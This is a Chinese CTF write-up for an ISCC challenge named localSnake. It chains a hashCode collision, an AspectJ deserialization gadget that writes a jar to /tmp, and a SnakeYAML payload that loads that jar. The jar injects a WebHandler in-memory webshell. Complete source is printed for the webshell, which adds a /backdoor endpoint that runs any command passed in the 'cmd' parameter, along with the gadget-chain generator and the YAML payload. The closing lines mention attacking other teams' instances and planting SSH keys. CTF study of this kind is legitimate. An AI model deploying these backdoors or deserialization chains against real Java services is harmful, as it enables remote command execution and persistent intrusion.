前言
题目注意有四个考点:
1、hashcode碰撞
2、AspectJ反序列化写文件
3、snakeyaml反序列化加载本地jar
4、webhandler内存马
每一个考点单独拿出来还算常规,但是组合起来,且要在断网的情况下做,还是挺麻烦的,需要自己电脑上有各种储备
漏洞分析
1、hashcode碰撞
这里自己写个例子调试一下:

hashcode的计算逻辑为:
乘31后,再加上当前字符的ascii码。
所以,找满足31*73+83=31x+y的就行,这里取x=72,y=114,那就是 HrCC2025。
这样就能满足if条件,进入反序列化过程:

2、生成恶意jar包
用 https://github.com/artsploit/yaml-payload 
其中恶意代码注入一个webhandler类型的内存马,网上搜一个就行,我当时本地有保存:
WebHandler内存马 | 1diot9’s Blog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
   | package artsploit;
  import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler;
  import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Collections; import java.util.List;
  public class WebHandlerShell implements ScriptEngineFactory, HttpHandler {     public WebHandlerShell() {         System.out.println("WebHandlerShell Constructor!!!!!!!!");     }
      static {         System.out.println("start Injection!!!!!=====================================");                  Object o = Thread.currentThread();         try {             Field groupField = o.getClass().getDeclaredField("group");             groupField.setAccessible(true);             Object group = groupField.get(o);
              Field threadsField = group.getClass().getDeclaredField("threads");             threadsField.setAccessible(true);             Object t = threadsField.get(group);
              Thread[] threads = (Thread[]) t;             for (Thread thread : threads){                 if(thread.getName().equals("Thread-2")){                     Field targetField = thread.getClass().getDeclaredField("target");                     targetField.setAccessible(true);                     Object target = targetField.get(thread);
                      Field thisField = target.getClass().getDeclaredField("this$0");                     thisField.setAccessible(true);                     Object this$0 = thisField.get(target);
                      Method createContext = Class.forName("sun.net.httpserver.ServerImpl").getDeclaredMethod("createContext", String.class, HttpHandler.class);                     createContext.setAccessible(true);                     createContext.invoke(this$0,"/backdoor",new WebHandlerShell());
                  }             }         } catch (Exception e) {             e.printStackTrace();         }     }
      public void handle(HttpExchange t) throws IOException {         String response = "MemoryShell";         String query = t.getRequestURI().getQuery();         String[] args = query.split("=");         ByteArrayOutputStream output = null;         if (args[0].equals("cmd")){             InputStream inputStream = Runtime.getRuntime().exec(args[1]).getInputStream();             output = new ByteArrayOutputStream();             byte[] buffer = new byte[4096];             int n = 0;             while (-1 != (n = inputStream.read(buffer))) {                 output.write(buffer, 0, n);             }         }         response+=("\n"+new String(output.toByteArray()));         t.sendResponseHeaders(200, (long)response.length());         OutputStream os = t.getResponseBody();         os.write(response.getBytes());         os.close();     }
 
 
 
      @Override     public String getEngineName() {         return "";     }
      @Override     public String getEngineVersion() {         return "";     }
      @Override     public List<String> getExtensions() {         return Collections.emptyList();     }
      @Override     public List<String> getMimeTypes() {         return Collections.emptyList();     }
      @Override     public List<String> getNames() {         return Collections.emptyList();     }
      @Override     public String getLanguageName() {         return "";     }
      @Override     public String getLanguageVersion() {         return "";     }
      @Override     public Object getParameter(String key) {         return null;     }
      @Override     public String getMethodCallSyntax(String obj, String m, String... args) {         return "";     }
      @Override     public String getOutputStatement(String toDisplay) {         return "";     }
      @Override     public String getProgram(String... statements) {         return "";     }
      @Override     public ScriptEngine getScriptEngine() {         return null;     } }
   | 
 
同时记得修改MATE-INF.services里面的内容:

然后生成恶意jar包。
3、反序列化写jar包
给的pom.xml里有aspectJ依赖,可以用来写文件。这题名字又叫localSnake,再加上这里私地的环境,大概率不出网。所以得写入jar包再通过snakeyaml本地加载。这里利用AspectJ链写文件,这个链子网上解析很多,这里简单讲一下。
Aspect依赖里面的SimpleCache$StoreableCachingMap#writeToPath()能够实现写文件:

folder是要写到哪个文件夹,key是文件的名字,都可控。
然后这个writeToPath,可以通过这个内部类的put方法触发:

value参数就是文件的byte[]字节流,都是可控的。
现在问题变成怎么触发这里的put。
看一下题目给的User类:

这里的hashMap是可控的,所以设置成StoreableCachingMap就行。现在问题转化成调用compare就行。
说到调用compare,那最先想到的就是CC4的前半段:

最终的脚本:注意,这里最好写到/tmp下,因为其他目录不一定有写权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
   | package com.localSnake.solution;
  import com.localSnake.utils.User;
 
  import java.lang.reflect.Constructor; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.PriorityQueue;
  public class WithBlack {     public static void main(String[] args) throws Exception {         byte[] bytes = Files.readAllBytes(Paths.get("iscc.jar"));         String fileName = "iscc.jar";         Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");         Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String.class, int.class);         declaredConstructor.setAccessible(true);         HashMap write = (HashMap) declaredConstructor.newInstance("/tmp", 1);
          User user = new User();         Tools.setFieldValue(user, "hashMap", write);
 
 
          PriorityQueue<Object> priorityQueue = new PriorityQueue<>();         priorityQueue.add(1);         priorityQueue.add(1);
          Tools.setFieldValue(priorityQueue, "comparator", user);         Tools.setFieldValue(priorityQueue, "queue", new Object[]{fileName, bytes});         Tools.setFieldValue(priorityQueue, "size", 2);
          byte[] ser = Tools.ser(priorityQueue);         String s = Base64.getEncoder().encodeToString(ser);         System.out.println(s);
      } }
   | 
 
4、snakeyaml反序列化加载恶意jar
直接看payload:
1
   | !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/iscc.jar"]]]]
   | 
 
这里原理就是通过构造方法,一步步走到SPI加载。
可以看:https://drun1baby.top/2022/10/16/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B-SnakeYaml-%E9%93%BE/
5、访问内存马
/backdoor?cmd=getflag

总结
私地就是这种打法。但是怎么做后渗透我不清楚,所以这里我是让pwn手帮忙的。把web脚本写好后,放到pwn的私地上去打,扫ip也交给pwn私地做了。要是没pwn手,我也就只能打打自己私地了(
最后发现好像能往/home/iscc里写ssh公钥,不过没去尝试,反正pwn私地上脚本已经跑起来了,就懒得搞了。